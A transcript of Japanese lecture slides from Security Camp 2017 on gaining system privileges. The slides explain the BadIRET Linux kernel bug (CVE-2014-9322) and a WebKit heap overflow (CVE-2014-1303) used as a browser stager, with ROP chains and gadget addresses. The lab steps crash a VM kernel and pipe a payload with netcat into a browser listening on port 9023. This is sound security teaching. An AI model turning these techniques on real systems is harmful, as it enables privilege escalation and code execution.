$30 off During Our Annual Pro Sale. View Details »

カーネルエクスプロイトによるシステム権限奪取

 カーネルエクスプロイトによるシステム権限奪取

seccamp17 D2-3 course

Ren Kimura

August 15, 2017
Tweet

More Decks by Ren Kimura

Other Decks in Programming

Transcript

  1. カーネルエクスプロイトによる
    システム権限奪取
    神戸大学大学院
    木村 廉
    セキュリティキャンプ全国大会 2017
    Dトラック(D2-3)

    View Slide

  2. 講義概要
    本講義ではOS自体の脆弱性を利用することでより高いシステム権限を奪う、
    カーネルエクスプロイト
    について学習します。
    加えてブラウザの脆弱性に対する攻撃を併用する事で、ユーザーからの入力が極度に制限された
    環境においても、カーネルエクスプロイトを成功させるテクニックについて学習します。
    ※本講義は端末の脱獄、root化を推進するものではありません。

    View Slide

  3. 事前準備
    ● VM内のレポジトリを最新状態に更新しておいてください
    $ git clone https://github.com/RKX1209/CVE-2014-9322 badiret
    $ cd ~/webkitexp
    $ git pull
    ● ゲストOS間でネットワーク構築
    http://linux2.g.hatena.ne.jp/lnznt/20120131/1328021979

    View Slide

  4. 事前準備
    ● 講義用VMの動作確認
    Debuggerがデバッグする側のVM。Debuggeeがされる側です。
    2つVMを起動してDebuggerからgdbを起動し
    $ target remote /dev/ttyS0
    でアタッチ。Debuggee側で
    $ echo ‘g’ > /proc/sysrq-trigger
    をするとgdb側に制御が移ります。
    (面倒な人はkgdbwaitを付けもらっても大丈夫です。)

    View Slide

  5. 背景知識
    Intel x64アーキテクチャ、カーネル、エクスプロイトテクニック

    View Slide

  6. Intel x64メモリアーキテクチャ
    ● x86(64)ではメモリは以下の3種類のアドレスで表される
    ○ 論理アドレス(Logical Address)
    ○ リニアアドレス(Linear Address)
    ○ 物理アドレス(Physical Address)
    ● メモリへのアクセスは2段階の変換を経て行われる
    ○ セグメント機構(論理->リニアへの変換)
    ○ ページング機構(リニア->物理への変換)
    ○ 最終的に物理アドレスで実際のメモリへアクセス
    セグメント機構
    (Segment Unit)
    論理アドレス
    (Logical Address)
    ページング機構
    (Pagning Unit)
    リニアアドレス
    (Linear Address)
    物理アドレス
    (Physical Address)

    View Slide

  7. Intel x64セグメント機構
    ● セグメントレジスタの種類
    ○ コードセグメント(CS) %rip == 0x40000 ⇔ %rip == %cs:0x40000
    ○ データセグメント(DS, ES, FS, GS) movq ($addr), %rcx ⇔ movq (%ds:$addr), %rcx
    ○ スタックセグメント(SS) movq (%rsp), %rax ⇔ moq (%ss:%rsp), %rax
    ● 論理アドレスからリニアアドレスへの変換
    ○ セグメントレジスタの値 (セグメントセレクタ)を使って、GDTからセグメントディスクリプタ を参照
    ○ セグメントディスクリプタの base_address+address = リニアアドレス
    セグメント機構
    (Segment Unit)
    論理アドレス
    (Logical Address)
    ページング機構
    (Pagning Unit)
    リニアアドレス
    (Linear Address)
    物理アドレス
    (Physical Address)

    View Slide

  8. Intel x64セグメント機構
    1. 現在のプログラムカウンタ
    が%rip==0x1000(%cs:0x1000)とする。
    2. CSレジスタの値は0x08
    3. GDTのオフセット0x08のセグメントディスクリプタを見る
    4. セグメントディスクリプタ->base_addressが0x500とする
    5. 0x500 + 0x1000 = 0x1500がリニアアドレス
    同じ0x1000番地へのアクセスでも、裏に隠れたCSレジスタの
    値によって実際にアクセスされるリニアアドレスは変わる。
    この仕組みでセグメントという区切りをリニアアドレス空間上
    に実現。
    http://softwaretechnique.jp/OS_Development/kernel_loader2.html

    View Slide

  9. Intel x64セグメント機構(Linux)
    Linuxカーネルではメモリ空間の分離は主にページング機構
    を利用するため、セグメント機構はほぼ使わない。
    CS,DS,SSは全て同じセグメントのアドレスを指している。
    論理アドレス == リニアドレスとなる基本フラットモデルという
    方式。
    https://www.ibm.com/developerworks/jp/linux/library/l-memmod/index.html#b2
    ただしGSレジスタはPER_CPUというCPUの各コアごとに確
    保されたメモリ領域の参照につかわれる。
    MSR_GS_BASE等のMSR(Model Specific Register)を利

    View Slide

  10. Intel x64 リングプロテクション
    セグメントごとにアクセス権限を設定できる。
    カーネルにしかアクセスできないセグメントを作成してユーザー空間
    と分離する。
    カーネルモード (ring 0)
    ユーザーモード (ring 3)
    (高) ring 0 > 1 > 2 > 3 (低)
    https://en.wikipedia.org/wiki/Protection_ring
    セグメント ベース エンド 権限(DPL)
    USER_CS 0x00000 0xffffff... ring 3
    USER_DS 0x00000 0xffffff... ring 3
    KERNEL_CS 0x00000 0xffffff... ring 0
    KERNEL_DS 0x00000 0xffffff... ring 0

    View Slide

  11. Linuxカーネルにおけるセグメント切り替え
    ● ユーザー空間(ring 3)とカーネル空間(rint 0)の切り替えタイミング
    ○ 割り込み
    ○ 例外(システムコールなど )
    ○ その他...
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    Back to user(iretq)
    システムコール発行等のイベントが発生すると、CS,DSレジスタの
    指すセグメントがカーネル空間の物に切り替わる。
    カーネルの処理が終われば再びユーザー空間へ戻る。

    View Slide

  12. Linuxカーネルを対象としたエクスプロイト
    ● カーネル内の処理に脆弱性があれば攻撃対象に
    ○ カーネル内のUAF(Use After Free)
    ○ カーネルスタックバッファオーバーフロー
    ○ ヒープバッファオーバーフロー ...
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    カーネル内の処理に脆弱性があり、攻撃者が内部の制御を
    コントロールできれば、ring0の権限のまま任意コード実行も可能。
    ring0はほぼ全てのリソースへのアクセスが可能なため、
    あるプロセスにroot権限を付与する等も簡単にできる。
    KERNEL_CS, KERNEL_DS
    do EVIL things…
    KERNEL_CS, KERNEL_DS
    shellcode

    View Slide

  13. カーネルエクスプロイト実践
    BadIRET(CVE-2014-9322)によるシステム妨害(DoS)

    View Slide

  14. BadIRET (CVE-2014-9322)
    ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性
    ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生
    ○ x64ではiretq実行完了前に#SS例外が発生
    ○ Linuxカーネル内のこの#SS例外処理にバグ
    ○ swapgsが1度余計に実行される
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    Back to user(iretq)

    View Slide

  15. BadIRET (CVE-2014-9322)
    ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性
    ○ iretq実行時、切り替え先の ユーザー空間SSが不正な値の場合に発生
    ○ x64ではiretq実行完了前に#SS例外が発生
    ○ Linuxカーネル内のこの#SS例外処理にバグ
    ○ swapgsが1度余計に実行される
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    Back to user(iretq)
    %SS=invalid (#SS)

    View Slide

  16. BadIRET (CVE-2014-9322)
    ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性
    ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生
    ○ x64ではiretq実行完了前に#SS例外が発生
    ○ Linuxカーネル内のこの#SS例外処理にバグ
    ○ swapgsが1度余計に実行される
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    swapgs

    View Slide

  17. BadIRET (CVE-2014-9322)
    ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性
    ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生
    ○ x64ではiretq実行完了前に#SS例外が発生
    ○ Linuxカーネル内のこの#SS例外処理にバグ
    ○ swapgsが1度余計に実行される
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    swapgs
    swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ
    ジスタをswapする命令。

    View Slide

  18. BadIRET (CVE-2014-9322)
    ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性
    ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生
    ○ x64ではiretq実行完了前に#SS例外が発生
    ○ Linuxカーネル内のこの#SS例外処理にバグ
    ○ swapgsが1度余計に実行される
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    swapgs
    swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ
    ジスタをswapする命令。
    GS=USER_GS [BUG]
    (GS != KERNEL_GS)

    View Slide

  19. BadIRET (CVE-2014-9322)
    ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性
    ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生
    ○ x64ではiretq実行完了前に#SS例外が発生
    ○ Linuxカーネル内のこの#SS例外処理にバグ
    ○ swapgsが1度余計に実行される
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    swapgs
    swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ
    ジスタをswapする命令。
    Kernel
    Panic!

    View Slide

  20. 演習1 カーネルエクスプロイト
    ● BadIRETでカーネルクラッシュを引き起こす
    $ cd ~/badiret
    $ make clean (初回のみ)
    $ make
    $ ./badiret.elf

    View Slide

  21. 演習1 カーネルエクスプロイト
    ● netconsoleでクラッシュ確認

    View Slide

  22. 演習1 カーネルエクスプロイト
    ● ユーザー空間のGSセグメントを設定してみる
    arch_prctl(2)のARCH_SEG_GSを使うとGSレジスタを変更できる。
    arch_prctl(ARCH_SET_GS, 0xdeadbeefcafebabe)
    https://github.com/RKX1209/CVE-2014-9322
    ● システムコール番号の探し方
    $ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h
    #define __NR_execve 59

    View Slide

  23. 演習1 カーネルエクスプロイト
    ● うまくいけばnetconsoleで以下のようなクラッシュが確認できる

    View Slide

  24. ブラウザエクスプロイト実践
    Kernel Exploit Stagerとしてのブラウザ。CVE-2014-1303

    View Slide

  25. Kernel Exploit Stager
    ● ブラウザをカーネルエクスプロイトへつなげるためのstagerとして利用
    ○ エクスプロイトをシステムへインストールする手段が無い場合に利用 (ex. ゲーム機)
    ○ 細工されたwebページにアクセスする事でブラウザ上で任意コード実行
    ○ ネットワーク越しにエクスプロイトコードを待ち受けて実行する (いわゆるstager)
    ○ 攻撃者はカーネルエクスプロイトを送信し実行させる
    クライアントマシン
    (攻撃者)
    ブラウザ
    (stager)
    (4)受信したコードを実行
    (3) カーネルエクスプロイトコードを送信
    細工されたWebページ
    (ブラウザエクスプロイト
    )
    (1) ページ閲覧
    (2) ブラウザ上で任意コード実行

    View Slide

  26. WebKit Exploit(CVE-2014-1303)
    ● WebKitヒープバッファオーバーフローの脆弱性
    ○ CSSSelectorListというリストが範囲外読み込み (OOB Read)を行うバグ
    ○ RuleSet::AddRule()が呼ばれるて、リストにアクセスされる時 indexが1になっている
    ○ indexは1だが、実際にCSSSelectorListの要素数は1つのみ
    ○ 存在しないList[1]から読み込みを行ってしまう
    ● 1-bitの範囲外書き込み(OOB Write)も可能
    ○ WebCore::CSSSelector::specify()が、List[1]のあるメンバを1に変える処理を行う
    ○ つまり1-bitの1を範囲外に書き込む事が可能
    ○ ArrayBuffer::m_sizeInBytesを0x40から0xC0に書き換える。

    View Slide

  27. CSSSelectorList OOB Read
    CSSSelectorは1つしか存在しないにも関わらずindex=1で読み込み。
    CSSSelector
    0x20 Chunk:
    Free Free Free Free

    View Slide

  28. CSSSelectorList OOB Read
    CSSSelectorは1つしか存在しないにも関わらずindex=1で読み込み。
    CSSSelector
    0x20 Chunk:
    CSSSelector Free Free Free
    List[0] List[1]

    View Slide

  29. CSSSelectorList OOB Write
    List[1]のあるメンバに1を書き込む処理によって1-bitのみOOB Write
    CSSSelector
    0x20 Chunk:
    CSSSelector Free Free Free
    List[0] List[1]::member = 1

    View Slide

  30. CSSSelectorList OOB Write
    0x40サイズのArrayBufferを複数確保(new)
    CSSSelector
    0x20 Chunk:
    List[0]
    0x20 ArrayBuffer
    new ArrayBuffer(0x40);
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer

    View Slide

  31. 1-bit OOB Writeによるm_sizeInByteの書き換え
    ArrayBufferのサイズは0x40で、bufferの実体は0x40chunkに存在
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer::m_sizeInByte == 0x40

    View Slide

  32. 1-bit OOB Writeによるm_sizeInByteの書き換え
    List[1]::member=1の書き込みで、ArrayBuffer->m_sizeInByteが0x40->0xC0に。
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer->m_sizeInByte = 0xC0 (1-bit write)
    ⇔ List[1]::member = 1
    オーバーフロー発生。余分に 0x80byte(0xC0-0x40)読み書き可能に

    View Slide

  33. 0x80byteの読み書き
    0x80byte余分に読み書き可能。ここで隣のWebCoreObjectに含まれるvtableを読む
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer->m_sizeInByte = 0xC0 (1-bit write)
    vtableはC++のクラスが持つ仮想関数用テーブル。メソッドへの関数ポインタを持っている。
    WebCoreObject->vtable

    View Slide

  34. 任意アドレス書き込み/読み込み AAW/AAR
    ● 0x80byteの読み書きからAAW/AARにつなげる
    ○ WebCoreObjectはvtableのアドレスをリークすれば不要
    ○ リーク後、WebCoreObjectはfreeして同じ場所にArrayBufferViewをnewで確保
    ○ ArrayBufferView::m_baseAddress を0x80byte書きこみを使って変更し AAW/AARへ
    ● WebCore objectをfreeさせる?
    ○ JavaScriptは明示的にメモリを開放する freeのようなインターフェースは無い (GCが使われる)
    ○ WebCore::NumberInputTypeは以下のコードを実行するとブラウザが freeしてくれる。

    View Slide

  35. 任意アドレス書き込み/読み込み AAW/AAR
    WebCore::NumberInputを確保 ( var m_input = document.createElement(“input”); )
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    NumberInput
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk: WebCore::NumberInput生成

    View Slide

  36. 任意アドレス書き込み/読み込み AAW/AAR
    WebCore::NumberInputをfreeさせる( m_input.type=””; )
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    Freed
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk: WebCore::NumberInputをFree

    View Slide

  37. 任意アドレス書き込み/読み込み AAW/AAR
    直後にArrayBufferViewをnewで確保する。
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    ArrayBufferView
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk: ArrayBufferViewを生成。

    View Slide

  38. 任意アドレス書き込み/読み込み AAW/AAR
    攻撃者がコントロール可能な広めの領域(0x20000 chunk)を確保
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    ArrayBufferView
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    0x20000 Chunk:

    View Slide

  39. 任意アドレス書き込み/読み込み AAW/AAR
    ArrayBufferView::m_baseAddressを0x80byte書きこみで書き換え
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    ArrayBufferView
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    0x20000 Chunk:
    ArrayBufferView::m_baseAddressを修正

    View Slide

  40. 任意アドレス書き込み/読み込み AAW/AAR
    ArrayBufferView::m_baseAddressが0x20000 chunkを指すように書き換え
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    ArrayBufferView
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    0x20000 Chunk:
    この0x20000 chunk領域に攻撃者が好きなコード(shellcode, gadget…)を書き込む

    View Slide

  41. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack

    View Slide

  42. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack
    rdx = 4096

    View Slide

  43. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack
    rdx = 4096
    rsi = 0x691c000

    View Slide

  44. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack
    rdx = 4096
    rsi = 0x691c000
    rdi = 0

    View Slide

  45. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack
    rdx = 4096
    rsi = 0x691c000
    rdi = 0
    rax = 0

    View Slide

  46. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack
    rdx = 4096
    rsi = 0x691c000
    rdi = 0
    rax = 0
    syscall
    read(0, 0x691c000, 4096)

    View Slide

  47. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack
    0x6001e4c:
    xchg rax, rsp
    ret
    (uncontrollable)
    own stack address

    View Slide

  48. AAW/AARから任意コード実行へ
    ● Return Oriented Programming (ROP)
    ○ エクスプロイトの一般的なテクニック
    ○ NX-bitなどのコード実行防止機能の bypass
    ○ 関数のコールスタックを調整して意図した動作へ
    0x68ea123b
    4096
    0x63af9c00
    0x691c000
    0x6100a74f
    0x0
    0x62f10bd0
    0x0
    0x6711f000
    0x68ea123b:
    pop rdx (arg3)
    ret
    0x63af9c00:
    pop rsi (arg2)
    ret
    0x6100a74f:
    pop rdi (arg1)
    ret
    0x62f10bd0:
    pop rax (syscall num)
    ret
    0x6711f000:
    syscall
    ret
    Stack
    0x6001e4c:
    xchg rax, rsp
    ret
    (uncontrollable)
    own stack address
    rsp = (own stack address)

    View Slide

  49. AAW/AARから任意コード実行へ
    0x20000 chunkにROP gadgetのアドレスを書き込んでおく。
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    ArrayBufferView
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    0x20000 Chunk:
    0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0

    View Slide

  50. AAW/AARから任意コード実行へ
    vtableのアドレスをstack pivot用のgadgetへ。
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    ArrayBufferView
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    0x20000 Chunk:
    0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0
    vtable
    push rax (== vtable)
    jmp rax
    pop rsp

    View Slide

  51. AAW/AARから任意コード実行へ
    rspにrax(== buf)が設定されてスタックが切り替わりROP開始。
    CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer
    0x20 Chunk:
    ArrayBuffer::
    m_data
    0x40
    ArrayBufferView
    ArrayBuffer::
    m_data
    0x40
    WebCoreObject
    ArrayBuffer::
    m_data
    0x40 Chunk:
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    ArrayBuffer::
    m_data
    0x20000 Chunk:
    0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0
    vtable
    push rax (== vtable)
    jmp rax
    pop rsp
    $rsp ->

    View Slide

  52. 演習2 ブラウザエクスプロイト
    ● エクスプロイトページへWebKitGTKで接続
    $ cd ~/webkitexp
    $ sudo python server.py
    $ cd ~/webkitgtk-2.1.2
    $ ./Programs/GtkLauncher http://localhost
    https://github.com/RKX1209/CVE-2014-1303

    View Slide

  53. 演習2 ブラウザエクスプロイト
    ● エクスプロイトコードを実行してみる
    ○ Crash ROP (0xdeadbeefにジャンプしてクラッシュ )
    ○ Get PID (getpidで取得したPIDを出力)
    ○ FileSystem Dump (演習で実装)
    ○ Code Execution (ペイロードをポート9023で待ち受けて実行)

    View Slide

  54. 演習2 ブラウザエクスプロイト
    ● ファイルシステムダンプ機能を実装 (webkitexp/scripts/syscall.js)
    fd = open(“/dev”, 0);
    getdents(fd, buf, 4096);
    write(0, buf, 4096);
    を実行させる。 /dev以下のディレクトリをダンプさせる機能を実装。

    View Slide

  55. 演習2 ブラウザエクスプロイト
    ● ファイルシステムダンプ機能を実装 (webkitexp/scripts/syscall.js)
    rop_chain ROP chain
    inject_ropcode(rop_chain) ROP chain注入
    write_str(addrl, addrh, str) addrに文字列strを書き込む
    syscall(“name”, sys_num, arg1, arg2..) システムコール実行 chainをrop_chainに追加
    rawdump(addr, size) addrからsizeバイト標準出力にダンプ
    webkit_gtk_base_addr_(low|high) libwebkitgtk.soのベースアドレス
    js_core_base_addr_(low|high) libjavascriptcoregtk.soのベースアドレス
    ヘルパー関数,変数の説明 (詳細は exploit.html, scripts/roputil.jsを参照)

    View Slide

  56. 演習2 ブラウザエクスプロイト
    ● ブラウザのROP gadgetの探し方
    $ rp-lin-x64 --file=./.libs/libwebkitgtk-3.0.so --rop=3 --unique
    webkit_gtk_base_addrからのオフセット表示
    $ rp-lin-x64 --file=./.libs/libjavascriptcoregtk-3.0.so --rop=3 --unique
    js_core_base_addrからのオフセット表示
    ● システムコール番号の探し方(再掲)
    $ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h
    #define __NR_execve 59

    View Slide

  57. 演習2 ブラウザエクスプロイト
    ● ハマりポイント
    getdentsシステムコールでは”/dev”をopenしたfdを引数にとりますが、こ
    れをsyscallヘルパー関数を使って、
    syscall(“getdetns”, fd, buf, size)
    とはできません。syscallヘルパー関数に与えられる引数はROP注入前
    に静的に決まっている値のみです。(fdはopen実行まで値が決まらない)
    なので、getdents呼び出しに関しては自力で引数構築からsyscall命令
    実行まで行うROP chainを作る必要があります。

    View Slide

  58. 演習2 ブラウザエクスプロイト
    ● ハマりポイント(ヒント)
    rax: syscall番号, rdi: 第1引数, rsi: 第2引数, rdx: 第3引数
    openやwriteはヘルパー関数が使えます。
    sycall(“open”, nr_open, ….)
    rawdump(addr, size)
    openの返り値(rax)がfd。これをgetdentsの第1引数(rdi)に渡してやる
    には? どんなROP gadgetが使えるでしょうか。

    View Slide

  59. 演習3 ブラウザエクスプロイト+カーネルエクスプロイト
    ● ブラウザのRemote Code Executionでカーネルをクラッシュさせる
    まずCode Executionをクリック。netstatでポートが開いているか確認。
    $ netstat -tl
    tcp 0 0 *:9023 *:* LISTEN
    badiret.binをポートに送信してブラウザに実行させる
    $ cat badiret.bin | nc localhost 9023
    うまくいけばカーネルクラッシュ。

